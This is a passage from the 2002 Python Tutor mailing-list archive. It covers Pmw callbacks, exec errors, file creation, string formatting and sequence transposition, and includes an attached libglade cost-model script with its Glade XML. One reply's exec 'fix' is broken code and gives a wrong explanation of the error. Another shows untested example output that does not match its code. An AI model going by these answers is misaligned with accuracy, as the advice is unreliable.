> 	  File ".../Pmw/Pmw_0_8_5/lib/PmwBase.py", line 1690, in
> 	  __call__
> 		None
> 	TypeError: too many arguments; expected 1, got 2


implies that self.cboxDomain.invoke() doesn't need to take the 'event'
parameter that get's passed when we bind it to Button-1.  We can do a
quicky thing to allow it to ignore the event parameter:


###
self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
                          lambda event: self.cboxDomain.invoke())
###

The lambda part just makes a callback function that discards any 'event'
aimed at it.



The above fix may not work perfectly yet.  If you're using a Python older
than 2.2, you may need to do something to simulate lexical sope, perhaps
something like this:

###
self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
                          lambda event,
                                 self=self: self.cboxDomain.invoke())
###

because we really need the callback to know about it's 'self' to be able
to get cboxDomain() to invoke().


If you have any questions, please feel free to ask.  Hope this helps!



From dyoo@hkn.eecs.berkeley.edu  Fri Feb 15 21:38:33 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 15 Feb 2002 13:38:33 -0800 (PST)
Subject: [Tutor] Mysterious Qualifier!
In-Reply-To: <4BB02C541824D311921600902765DB7B445C75@LTISERVER>
Message-ID: <Pine.LNX.4.21.0202151331570.12898-100000@hkn.eecs.berkeley.edu>

On Fri, 15 Feb 2002, Fred Allen wrote:

> Despite reviewing the documentation, I seem unable to find how to correct
> the syntax error presented beneath the following code block. I'm using 2.=
2.
>=20
> def lsdoc(modu):
> =09exec 'reload ' + modu
> =09md =3D eval(modu + ".__doc__")
> =09print 'Module ' + str(modu) + "'s Document String:", md

> =93SyntaxError: unqualified exec is not allowed in function 'lsdoc' it
> contains a nested function with free variables (lsmoddocs.py, line 8)=94


You may need to make a small correction on the exec():

###
exec 'reload(%s)' + modu
###

I think the error message about "free variables" is related to the
missing parens there.



By the way, we can "qualify" an exec by doing something like this:

###
>>> exec 'print x + y' in {'x' : 3, 'y' : 4}
7
###

The dictionary we pass will be the place that Python uses to look up
variable names and values.



From wolf_binary@hotmail.com  Sat Feb 16 14:06:19 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Sat, 16 Feb 2002 08:06:19 -0600
Subject: [Tutor] creating files with python and a thanks
Message-ID: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com>

Dear Python people,

How can you tell Python to make a simple text file or to make a kind of file 
with your own kind of extension?  I have looked around in books I have, and 
online.  I have only found stuff about how to open and close and recieve 
input from.  I don't know enough about file creation and operating systems 
to know I guess how to tell Python to do it.

Special Note to those who answered my hacking question.  Thanks a lot 
Borders didn't have a good selection of software design books available and 
I didn't know what books to ask about.

What about the book Hackers Exposed 3rd or what ever is the latest version?  
I heard it was a good place to start.

Thanks again,
Cameron Stoner

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp.



From sheila@thinkspot.net  Sat Feb 16 14:37:55 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 16 Feb 2002 06:37:55 -0800
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com>
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com>
Message-ID: <41963702708@kserver.org>

On Sat, 16 Feb 2002 08:06:19 -0600, "Cameron Stoner"
<wolf_binary@hotmail.com>  wrote about [Tutor] creating files with
python and a thanks:
 
> How can you tell Python to make a simple text file or to make a kind of file 
> with your own kind of extension?  I have looked around in books I have, and 
> online.  I have only found stuff about how to open and close and recieve 
> input from.  I don't know enough about file creation and operating systems 
> to know I guess how to tell Python to do it.

But the opening and closing stuff IS how you make files.

OK, what do you want in your file?

Let's say, you want your file to contain the following data:

-----------------------
this is my file
my stuff
is in
my
file
----------------------

and let's say you want to save in on your computer under the name

myfile.mbg

Then this code should work:

f = open('myfile.mbg', 'w')
f.write('this is my file\nmy stuff\nis in\nmy\nfile')
f.close()


Because you are opening the file with a 'w' flag, it will let you write
stuff into the file. The file will end up in whatever the current
directory is. If you're not sure where that is, you could amend the
script like this, so that is will tell you what directory it is saving
the file in:

import os

f = open('myfile.mbg', 'w')
f.write('this is my file\nmy stuff\nis in\nmy\nfile')
f.close()
print "current directory is ",
print os.path.abspath(os.getcwd())

Look in that directory and you should find your newly created file.

If you want to save the file in a specific directory, you could do this
instead:

f = open(r'c:\windows\temp\myfile.mbg', 'w')
f.write('this is my file\nmy stuff\nis in\nmy\nfile')
f.close()

(I used the r in front of the quotes, so that it will interpret the
string as a "raw" string, and not assume the \t on \temp represents the
escape sequence for a tab character.)

What if later you want to add more stuff to the file, you can open it in
append mode.

f = open('myfile.mbg', 'a')
f.write('Here is\nsome more stuff\nfor\nmyfile')
f.close()

Now when you open the file, it will have these contents:

-----------------------
this is my file
my stuff
is in
my
fileHere is
some more stuff
for
my file
----------------------

Opening the file with the 'a' flag let's you append to it. If you open
it with the 'w' flag, it will erase anything that was previously in the
file and start it over from scratch.

What if you want to write binary files? How about, you have some .gif
file called some.gif
and you want to make a copy of it called somecopy.gif

This should do it:

blocksize = 1024
origfile = open('some.gif', 'rb')
newfile = open('somecopy.gif', 'wb')
while 1:
	datachunk = origfile.read(blocksize)
	if not datachunk:
		break
	newfile.write(datachunk)
origfile.close()
newfile.close()


Instead of reading the entire .gif file into memory, you might want to
consider reading only a small "chunk" at a time, so you don't clobber
the memory on your computer.

The 'rb' and 'wb' flags are for reading binary files and writing binary
files. (Different operating systems have different line endings, and in
text files Python will "do the right thing" and use the appropriate line
ending. This is great in text files. But in binary files, you don't want
Python changing any of the bytes in the file, so opening with a binary
flag tells Python not to make any line ending translations, but just to
read or write EXACTLY the data that it is given.)

Hope this gets you started on creating your own files!

(P.S. I was a little lazy, and didn't run any of the code presented here
through the interpreter. If you get syntax errors you can't figure
out...by some stroke of bad luck, let me know and I'll test the code and
fix it. I think it should be OK?)

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From kojo@hal-pc.org  Sat Feb 16 14:41:57 2002
From: kojo@hal-pc.org (Kojo Idrissa)
Date: Sat, 16 Feb 2002 08:41:57 -0600
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com>
Message-ID: <5.1.0.14.0.20020216084039.01ff8dc8@Pop3.norton.antivirus>

At 08:06 AM 2/16/2002 -0600, Cameron Stoner wrote:

>What about the book Hackers Exposed 3rd or what ever is the latest version?
>I heard it was a good place to start.

This is a good place to start, especially if you're concerned about 
securing systems with persistent or high speed internet connections.  I've 
got the 2nd Edition.


****************************
Kojo Idrissa

kojo@hal-pc.org
http://www.hal-pc.org/~kojo/
****************************



From vlindberg@verio.net  Fri Feb 15 23:10:56 2002
From: vlindberg@verio.net (VanL)
Date: Fri, 15 Feb 2002 16:10:56 -0700
Subject: [Tutor] String formatting
Message-ID: <3C6D9580.90707@verio.net>

Hello,

I can't figureout why this is dying on me:

#!/usr/bin/env python

[snip]

totalfiles = 0
includedfiles = 0
changedfiles = 0
textchanges = 0

[snip]

def main():

    # Get options
    optlist, args = getopt.getopt(sys.argv[1:], 's:r:u:F:D:R:X:I:ABqh', 
['usage', 'help', 'binary'])
    opts = getAllOptions(optlist)

   
    if not opts['quiet']:
        # Grab statistical variables
        global totalfiles
        global includedfiles
        global changedfiles
        global textchanges
   
        if totalfiles > 0 and includedfiles > 0:
            stat1 = ((includedfiles * 1.0)/totalfiles)
            stat2 = ((changedfiles * 1.0)/totalfiles)
            stat3 = ((changedfiles * 1.0)/includedfiles)
        else:
            stat1, stat2, stat3 = 0, 0, 0
        percent = '%'
        print '%(totalfiles)s total files, %(includedfiles)s included in 
content scan  (%(stat1)s%(percent)s)' % vars()
        print '%(changedfiles)s files changed (%(stat2)s%(percent)s of 
total files, %(stat3)s%(percent)s of scanned files)' % vars()
        print '%s total text changes' % textchanges  



This is giving me a keyerror for totalfiles.

Could anyone tell me  why?

Thanks,

Van



From kp87@lycos.com  Sat Feb 16 13:32:10 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 16 Feb 2002 22:32:10 +0900
Subject: [Tutor] transposing [n, [e],[s[te]],[d]] sequences
Message-ID: <KLGMNELKKNECCBAA@mailcity.com>

# Here is the type of thing i can write pretty swiftly now:

def Xpose(seq,n, oct=12, sort_flag=0):
    ''' take a sequence and tranpose it modulo some number
    '''
    mylist=[]
    for i in seq:
        x = (i+n)%oct
        mylist.append(x) # to append or extend?
    if sort_flag:
        mylist.sort() # to sort or not sort
    return mylist

#-- (i am at an internet cafe with no interpreter so there could
# be a type, but i hope not, Imaginary session follows:

>>> x = [0, 2, 4, 5, 7, 9, 11]
>>> c = Xpose(x, 4, 12, 0)
>>> c
[4, 6, 8, 9, 11, 1, 3]
>>> d = Xpose(x, 4, 12, 1) # sorted now
>>> d
[1, 3, 4, 6, 8, 9, 11]

# cool. It works, and just in case you are curious i just turned a
# C major scale into E major

# Problem: how do i make something like this work for nested sequences? since sometimes we will have lists of lists or (god help us) list of *gasp* tuples...

# can anyone take me through the steps? to *upgrade this simple little
# diddy to something more rubust and verstile?

cheers,

-kevin





Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From dsh8290@rit.edu  Sat Feb 16 19:35:18 2002
From: dsh8290@rit.edu (dman)
Date: Sat, 16 Feb 2002 14:35:18 -0500
Subject: [Tutor] Glade
In-Reply-To: <27012922025100.00939@localhost.localdomain>
References: <27012922025100.00939@localhost.localdomain>
Message-ID: <20020216193518.GA20521@dman.ddts.net>

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Feb 06, 2002 at 09:20:15PM -0500, djuro m. wrote:
| 
| Hello everyone!
| 
| Could someone please "explain" to me how to make a simple gui working with
| python code by using Glade. ( I only need to see a code or how is python code
| tied with gui code file)

Attached is an example (it actually does something, though opinions on
the usefulness may vary ;-)).  It requires the 'libglade' library at
runtime.

(put both files in the same directory and run the script from that
directory)

-D

-- 

He who walks with the wise grows wise,
but a companion of fools suffers harm.
        Proverbs 13:20


--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="CostModel.py"

#
# $Header: /home/dman/School/Metrics/exercise3b/RCS/CostModel.py,v 1.7 2001/10/27 18:01:02 dman Exp $
#
# Software Process and Product Metrics
#
# Exercise 3b
#
# Authors :
#      Corey Andalora <cja2729@rit.edu>
#      Derrick Hudson <dsh8290@rit.edu>
#
# History :
#      $Log: CostModel.py,v $
#      Revision 1.7  2001/10/27 18:01:02  dman
#      ditto
#
#      Revision 1.6  2001/10/27 17:52:45  dman
#      cosmetic fixes
#
#      Revision 1.5  2001/10/27 17:34:15  dman
#      changed EMs to have option menus with known values
#
#      Revision 1.4  2001/10/27 16:19:36  dman
#      added effort multiplier handling
#      finished?
#
#      Revision 1.3  2001/10/26 21:59:47  dman
#      removed print statement
#
#      Revision 1.2  2001/10/26 05:16:11  dman
#      many improvements.
#      added error dialog
#
#      Revision 1.1  2001/10/25 23:16:05  dman
#      Initial revision
#
#

import sys
import math

import gtk
import libglade




# constants

true  = 1
false = 0

# VLOW  = "Very Low"
# LOW   = "Low"
# NOM   = "Nominal"
# HIGH  = "High"
# VHIGH = "Very High"
# EHIGH = "Extra High"

VLOW  = "VL"
LOW   = "L"
NOM   = "N"
HIGH  = "H"
VHIGH = "VH"
EHIGH = "XH"



# values for the various factors the user will input
table = {

        #
        # Scale Factors
        #

        "PREC" :
            {
                VLOW  : 6.22 ,
                LOW   : 4.96 ,
                NOM   : 3.72 ,
                HIGH  : 2.48 , 
                VHIGH : 1.24 , 
                EHIGH : 0.00 , 
            } ,
        "FLEX" :
            {
                VLOW  : 5.07 ,
                LOW   : 4.05 ,
                NOM   : 3.04 ,
                HIGH  : 2.03 , 
                VHIGH : 1.01 , 
                EHIGH : 0.00 , 
            } ,
        "RESL" :
            {
                VLOW  : 7.07 ,
                LOW   : 5.65 ,
                NOM   : 4.24 ,
                HIGH  : 2.83 , 
                VHIGH : 1.41 , 
                EHIGH : 0.00 , 
            } ,
        "TEAM" :
            {
                VLOW  : 5.48 ,
                LOW   : 4.38 ,
                NOM   : 3.29 ,
                HIGH  : 2.19 , 
                VHIGH : 1.10 , 
                EHIGH : 0.00 , 
            } ,
        "PMAT" :
            {
                VLOW  : 7.08 ,
                LOW   : 6.24 ,
                NOM   : 4.68 ,
                HIGH  : 3.12 , 
                VHIGH : 1.56 , 
                EHIGH : 0.00 , 
            } ,


        #
        # Effort Multipliers
        #
        
        "RELY" :
            {
                VLOW  : 0.82 ,
                LOW   : 0.92 ,
                NOM   : 1.00 ,
                HIGH  : 1.10 , 
                VHIGH : 1.26 , 
                EHIGH : None , 
            } ,

        "DATA" :
            {
                VLOW  : None ,
                LOW   : 0.90 ,
                NOM   : 1.00 ,
                HIGH  : 1.14 , 
                VHIGH : 1.28 , 
                EHIGH : None , 
            } ,

        "CPLX" :
            {
                VLOW  : 0.73 ,
                LOW   : 0.87 ,
                NOM   : 1.00 ,
                HIGH  : 1.17 , 
                VHIGH : 1.34 , 
                EHIGH : 1.74 , 
            } ,

        "RUSE" :
            {
                VLOW  : None ,
                LOW   : 0.95 ,
                NOM   : 1.00 ,
                HIGH  : 1.07 , 
                VHIGH : 1.15 , 
                EHIGH : 1.24 , 
            } ,

        "DOCU" :
            {
                VLOW  : 0.81 ,
                LOW   : 0.91 ,
                NOM   : 1.00 ,
                HIGH  : 1.11 , 
                VHIGH : 1.23 , 
                EHIGH : None , 
            } ,

        "TIME" :
            {
                VLOW  : None ,
                LOW   : None ,
                NOM   : 1.00 ,
                HIGH  : 1.11 , 
                VHIGH : 1.29 , 
                EHIGH : 1.63 , 
            } ,

        "STOR" :
            {
                VLOW  : None ,
                LOW   : None ,
                NOM   : 1.00 ,
                HIGH  : 1.05 , 
                VHIGH : 1.17 , 
                EHIGH : 1.46 , 
            } ,

        "PVOL" :
            {
                VLOW  : None ,
                LOW   : 0.87 ,
                NOM   : 1.00 ,
                HIGH  : 1.15 , 
                VHIGH : 1.30 , 
                EHIGH : None , 
            } ,

        "ACAP" :
            {
                VLOW  : 1.42 ,
                LOW   : 1.19 ,
                NOM   : 1.00 ,
                HIGH  : 0.95 , 
                VHIGH : 0.71 , 
                EHIGH : None , 
            } ,

        "PCAP" :
            {
                VLOW  : 1.34 ,
                LOW   : 1.15 ,
                NOM   : 1.00 ,
                HIGH  : 0.88 , 
                VHIGH : 0.76 , 
                EHIGH : None , 
            } ,

        "AEXP" :
            {
                VLOW  : 1.22 ,
                LOW   : 1.10 ,
                NOM   : 1.00 ,
                HIGH  : 0.88 , 
                VHIGH : 0.81 , 
                EHIGH : None , 
            } ,

        "PEXP" :
            {
                VLOW  : 1.19 ,
                LOW   : 1.09 ,
                NOM   : 1.00 ,
                HIGH  : 0.91 , 
                VHIGH : 0.85 , 
                EHIGH : None , 
            } ,

        "LTEX" :
            {
                VLOW  : 1.20 ,
                LOW   : 1.09 ,
                NOM   : 1.00 ,
                HIGH  : 0.91 , 
                VHIGH : 0.84 , 
                EHIGH : None , 
            } ,

        "PCON" :
            {
                VLOW  : 1.29 ,
                LOW   : 1.12 ,
                NOM   : 1.00 ,
                HIGH  : 0.90 , 
                VHIGH : 0.81 , 
                EHIGH : None , 
            } ,

        "TOOL" :
            {
                VLOW  : 1.17 ,
                LOW   : 1.09 ,
                NOM   : 1.00 ,
                HIGH  : 0.90 , 
                VHIGH : 0.78 , 
                EHIGH : None , 
            } ,

        "SITE" :
            {
                VLOW  : 1.22 ,
                LOW   : 1.09 ,
                NOM   : 1.00 ,
                HIGH  : 0.93 , 
                VHIGH : 0.86 , 
                EHIGH : 0.80 , 
            } ,

        "SCED" :
            {
                VLOW  : 1.43 ,
                LOW   : 1.14 ,
                NOM   : 1.00 ,
                HIGH  : 1.00 , 
                VHIGH : 1.00 , 
                EHIGH : None , 
            } ,

    } # end of table


# Scale Factor names
sf_names = ( "PREC" , "FLEX" , "RESL" , "TEAM" , "PMAT" )

# Effort Multiplier names
em_names = (
    # Product
    "RELY" , "DATA" , "CPLX" , "RUSE" , "DOCU" ,
    # Platform
    "TIME" , "STOR" , "PVOL" ,
    # Personnel
    "ACAP" , "PCAP" , "AEXP" , "PEXP" , "LTEX" , "PCON" ,
    # Project
    "TOOL" , "SITE" , "SCED"
    )


# global data

glade_filename = "costmodel.glade" 



# event handlers

def on_exit( widget ) :
    """
    Handle exiting the application nicely
    """

    # stop the event loop, then exit
    gtk.mainquit()
    sys.exit( 0 )

    # end on_exit()


def on_compute_button_released( widget , *args ) :
    """
    Compute the effort and cost.
    """

    # get the input from the user
    try :
        A = widget_tree.get_widget( "a_input" ).get_value()
        size = widget_tree.get_widget( "size_input" ).get_value()

        # Scale Factors
        sf_inputs = []
        for sf in sf_names :
            sf_inputs.append( get_input( sf ) )

        B = 1.01 + 0.01 * sum( sf_inputs )

        # Effort Multipliers
        em_inputs = []
        for em in em_names :
            em_inputs.append( get_input( em ) )

        F = prod( em_inputs )

        cost_unit = widget_tree.get_widget( "cost_input" ).get_value()

    except ( TypeError , AttributeError ) :
        # silly user, didn't input data yet
        def close_dialog( button , *args ) :
            dialog = button.get_toplevel()
            dialog.destroy()
        new_tree = libglade.GladeXML( glade_filename , "MessageDialog" )
        new_tree.signal_autoconnect( { "msg_dlg_ok" : close_dialog } )
        label = new_tree.get_widget( "message_label" )
        label.set_text("You must enter all data before computing the outputs." )
        return


    effort = F * A * math.pow( size , B )

    # Display the numbers
    effort_label.set_text( "%.2f" % effort )
    cost_label.set_text( "%.2f" % ( cost_unit * effort ) )

    # end on_compute_button_released()




#
# Utility Methods
#

def sum( item_list ) :
    """
    sum( seq ) => number

    Compute the sum of all the elements in sequence 'seq'.
    """

    if len( item_list ) < 1 :
        raise Exception( "Can't compute the sum of nothing!" )

    result = 0 # additive identity
    for item in item_list :
        result = result + item

    return result



def prod( item_list ) :
    """
    prod( seq ) => number

    Compute the product of all the elements in sequence 'seq'.
    """

    if len( item_list ) < 1 :
        raise Exception( "Can't compute the product of nothing!" )

    result = 1 # multiplicative identity
    for item in item_list :
        result = result * item

    return result



def clear_output( *args ) :
    """
    Clear the output labels.
    """

    effort_label.set_text( "" )
    cost_label.set_text( "" )



def get_input( widget_name ) :
    """
    Utility function to retrive the input from the user.
    """

    # get the selected menu item
    menu_item = widget_tree.get_widget( widget_name ).get_menu().get_active()

    # return the value stored with it
    return menu_item.get_data( "value" )

    # end get_input()


#
# main
#
def main() :
    """
    The "main" of the application.  This is where it all starts.
    """

    global widget_tree , effort_label , cost_label


    # the mapping to describe all the signal handlers
    signal_map = {
            "on_exit" : on_exit ,
            "on_compute_button_released" : on_compute_button_released ,
            "input_state_changed" : clear_output ,
        }
    
    # load the tree and connect the signal handlers
    widget_tree = libglade.GladeXML( glade_filename , "CostModel" )
    widget_tree.signal_autoconnect( signal_map )


    # store references to some widgets for easy access
    effort_label = widget_tree.get_widget( "effort_label" )
    cost_label = widget_tree.get_widget( "cost_label" )

    clear_output()

    # for each of the input menus
    for name in sf_names + em_names :

        menu = widget_tree.get_widget( name ).get_menu()

        # remove the blank entry, if possible
        try :
            for child in menu.children() :
                menu.remove( child )
        except TypeError :
            pass

        for choice in ( VLOW , LOW , NOM , HIGH , VHIGH , EHIGH ) :

            data = table[ name ][ choice ]

            # skip invalid choices
            if data is None :
                continue

            item = gtk.GtkMenuItem( choice )
            item.set_data( "value" , data )
            menu.append( item ) 
            item.show()

            if choice == NOM :
                menu.activate_item( item , true )

    # start the event loop
    gtk.mainloop()

    # end main()


if __name__ == "__main__" : 
    main()


--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="costmodel.glade"

<?xml version="1.0"?>
<GTK-Interface>

<project>
  <name>CostModel</name>
  <program_name>costmodel</program_name>
  <directory></directory>
  <source_directory>src</source_directory>
  <pixmaps_directory>pixmaps</pixmaps_directory>
  <language>C</language>
  <gnome_support>False</gnome_support>
  <gettext_support>True</gettext_support>
  <use_widget_names>True</use_widget_names>
</project>

<widget>
  <class>GtkWindow</class>
  <name>CostModel</name>
  <signal>
    <name>destroy_event</name>
    <handler>gtk_main_quit</handler>
    <last_modification_time>Thu, 25 Oct 2001 20:44:36 GMT</last_modification_time>
  </signal>
  <title>Cost Modeler</title>
  <type>GTK_WINDOW_TOPLEVEL</type>
  <position>GTK_WIN_POS_NONE</position>
  <modal>False</modal>
  <allow_shrink>False</allow_shrink>
  <allow_grow>True</allow_grow>
  <auto_shrink>False</auto_shrink>

  <widget>
    <class>GtkVBox</class>
    <name>vbox1</name>
    <homogeneous>False</homogeneous>
    <spacing>0</spacing>

    <widget>
      <class>GtkHandleBox</class>
      <name>handlebox1</name>
      <shadow_type>GTK_SHADOW_OUT</shadow_type>
      <handle_position>GTK_POS_LEFT</handle_position>
      <snap_edge>GTK_POS_TOP</snap_edge>
      <child>
	<padding>0</padding>
	<expand>False</expand>
	<fill>False</fill>
      </child>

      <widget>
	<class>GtkMenuBar</class>
	<name>menubar2</name>
	<shadow_type>GTK_SHADOW_OUT</shadow_type>

	<widget>
	  <class>GtkMenuItem</class>
	  <name>file_menu</name>
	  <label>File</label>
	  <right_justify>False</right_justify>

	  <widget>
	    <class>GtkMenu</class>
	    <name>file_menu_menu</name>

	    <widget>
	      <class>GtkMenuItem</class>
	      <name>exit_menuitem</name>
	      <accelerator>
		<modifiers>GDK_MOD1_MASK</modifiers>
		<key>GDK_E</key>
		<signal>activate</signal>
	      </accelerator>
	      <signal>
		<name>activate</name>
		<handler>on_exit</handler>
		<last_modification_time>Thu, 25 Oct 2001 20:43:40 GMT</last_modification_time>
	      </signal>
	      <label>Exit</label>
	      <right_justify>False</right_justify>
	    </widget>
	  </widget>
	</widget>
      </widget>
    </widget>

    <widget>
      <class>GtkHandleBox</class>
      <name>handlebox2</name>
      <shadow_type>GTK_SHADOW_OUT</shadow_type>
      <handle_position>GTK_POS_LEFT</handle_position>
      <snap_edge>GTK_POS_TOP</snap_edge>
      <child>
	<padding>0</padding>
	<expand>False</expand>
	<fill>False</fill>
      </child>

      <widget>
	<class>GtkToolbar</class>
	<name>toolbar2</name>
	<orientation>GTK_ORIENTATION_HORIZONTAL</orientation>
	<type>GTK_TOOLBAR_BOTH</type>
	<space_size>5</space_size>
	<space_style>GTK_TOOLBAR_SPACE_EMPTY</space_style>
	<relief>GTK_RELIEF_NORMAL</relief>
	<tooltips>True</tooltips>

	<widget>
	  <class>GtkButton</class>
	  <child_name>Toolbar:button</child_name>
	  <name>compute_button</name>
	  <signal>
	    <name>released</name>
	    <handler>on_compute_button_released</handler>
	    <last_modification_time>Thu, 25 Oct 2001 21:02:47 GMT</last_modification_time>
	  </signal>
	  <label>Compute</label>
	</widget>

	<widget>
	  <class>GtkButton</class>
	  <child_name>Toolbar:button</child_name>
	  <name>exit_button</name>
	  <signal>
	    <name>released</name>
	    <handler>on_exit</handler>
	    <last_modification_time>Thu, 25 Oct 2001 20:43:23 GMT</last_modification_time>
	  </signal>
	  <label>Exit</label>
	</widget>
      </widget>
    </widget>

    <widget>
      <class>GtkVBox</class>
      <name>vbox2</name>
      <homogeneous>False</homogeneous>
      <spacing>0</spacing>
      <child>
	<padding>0</padding>
	<expand>True</expand>
	<fill>True</fill>
      </child>

      <widget>
	<class>GtkFrame</class>
	<name>frame1</name>
	<label>Outputs</label>
	<label_xalign>0</label_xalign>
	<shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
	<child>
	  <padding>4</padding>
	  <expand>False</expand>
	  <fill>False</fill>
	</child>

	<widget>
	  <class>GtkTable</class>
	  <name>table2</name>
	  <rows>2</rows>
	  <columns>2</columns>
	  <homogeneous>False</homogeneous>
	  <row_spacing>0</row_spacing>
	  <column_spacing>0</column_spacing>

	  <widget>
	    <class>GtkLabel</class>
	    <name>label1</name>
	    <label>Effort (Person-Months) :</label>
	    <justify>GTK_JUSTIFY_CENTER</justify>
	    <wrap>False</wrap>
	    <xalign>0.5</xalign>
	    <yalign>0.5</yalign>
	    <xpad>0</xpad>
	    <ypad>0</ypad>
	    <child>
	      <left_attach>0</left_attach>
	      <right_attach>1</right_attach>
	      <top_attach>0</top_attach>
	      <bottom_attach>1</bottom_attach>
	      <xpad>6</xpad>
	      <ypad>0</ypad>
	      <xexpand>False</xexpand>
	      <yexpand>False</yexpand>
	      <xshrink>False</xshrink>
	      <yshrink>False</yshrink>
	      <xfill>True</xfill>
	      <yfill>False</yfill>
	    </child>
	  </widget>

	  <widget>
	    <class>GtkLabel</class>
	    <name>label2</name>
	    <label>Cost :</label>
	    <justify>GTK_JUSTIFY_CENTER</justify>
	    <wrap>False</wrap>
	    <xalign>0</xalign>
	    <yalign>0.5</yalign>
	    <xpad>0</xpad>
	    <ypad>0</ypad>
	    <child>
	      <left_attach>0</left_attach>
	      <right_attach>1</right_attach>
	      <top_attach>1</top_attach>
	      <bottom_attach>2</bottom_attach>
	      <xpad>6</xpad>
	      <ypad>0</ypad>
	      <xexpand>False</xexpand>
	      <yexpand>False</yexpand>
	      <xshrink>False</xshrink>
	      <yshrink>False</yshrink>
	      <xfill>True</xfill>
	      <yfill>False</yfill>
	    </child>
	  </widget>

	  <widget>
	    <class>GtkEntry</class>
	    <name>cost_label</name>
	    <can_focus>True</can_focus>
	    <editable>False</editable>
	    <text_visible>True</text_visible>
	    <text_max_length>0</text_max_length>
	    <text></text>
	    <child>
	      <left_attach>1</left_attach>
	      <right_attach>2</right_attach>
	      <top_attach>1</top_attach>
	      <bottom_attach>2</bottom_attach>
	      <xpad>0</xpad>
	      <ypad>0</ypad>
	      <xexpand>False</xexpand>
	      <yexpand>False</yexpand>
	      <xshrink>False</xshrink>
	      <yshrink>False</yshrink>
	      <xfill>False</xfill>
	      <yfill>False</yfill>
	    </child>
	  </widget>

	  <widget>
	    <class>GtkEntry</class>
	    <name>effort_label</name>
	    <can_focus>True</can_focus>
	    <editable>False</editable>
	    <text_visible>True</text_visible>
	    <text_max_length>0</text_max_length>
	    <text></text>
	    <child>
	      <left_attach>1</left_attach>
	      <right_attach>2</right_attach>
	      <top_attach>0</top_attach>
	      <bottom_attach>1</bottom_attach>
	      <xpad>0</xpad>
	      <ypad>0</ypad>
	      <xexpand>False</xexpand>
	      <yexpand>False</yexpand>
	      <xshrink>False</xshrink>
	      <yshrink>False</yshrink>
	      <xfill>False</xfill>
	      <yfill>False</yfill>
	    </child>
	  </widget>
	</widget>
      </widget>

      <widget>
	<class>GtkFrame</class>
	<name>frame2</name>
	<label>Inputs</label>
	<label_xalign>0</label_xalign>
	<shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
	<child>
	  <padding>3</padding>
	  <expand>True</expand>
	  <fill>True</fill>
	</child>

	<widget>
	  <class>GtkVBox</class>
	  <name>vbox3</name>
	  <homogeneous>False</homogeneous>
	  <spacing>0</spacing>

	  <widget>
	    <class>GtkFrame</class>
	    <name>frame5</name>
	    <label>Constants</label>
	    <label_xalign>0</label_xalign>
	    <shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
	    <child>
	      <padding>3</padding>
	      <expand>True</expand>
	      <fill>True</fill>
	    </child>

	    <widget>
	      <class>GtkTable</class>
	      <name>table3</name>
	      <rows>3</rows>
	      <columns>2</columns>
	      <homogeneous>False</homogeneous>
	      <row_spacing>0</row_spacing>
	      <column_spacing>0</column_spacing>

	      <widget>
		<class>GtkSpinButton</class>
		<name>a_input</name>
		<can_focus>True</can_focus>
		<signal>
		  <name>changed</name>
		  <handler>input_state_changed</handler>
		  <last_modification_time>Sat, 27 Oct 2001 15:10:12 GMT</last_modification_time>
		</signal>
		<climb_rate>1</climb_rate>
		<digits>3</digits>
		<numeric>True</numeric>
		<update_policy>GTK_UPDATE_ALWAYS</update_policy>
		<snap>False</snap>
		<wrap>False</wrap>
		<value>1</value>
		<lower>0</lower>
		<upper>100</upper>
		<step>1</step>
		<page>10</page>
		<page_size>10</page_size>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>0</top_attach>
		  <bottom_attach>1</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label11</name>
		<label>Size (KLOC)</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>1</top_attach>
		  <bottom_attach>2</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label10</name>
		<label>A</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>0</top_attach>
		  <bottom_attach>1</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
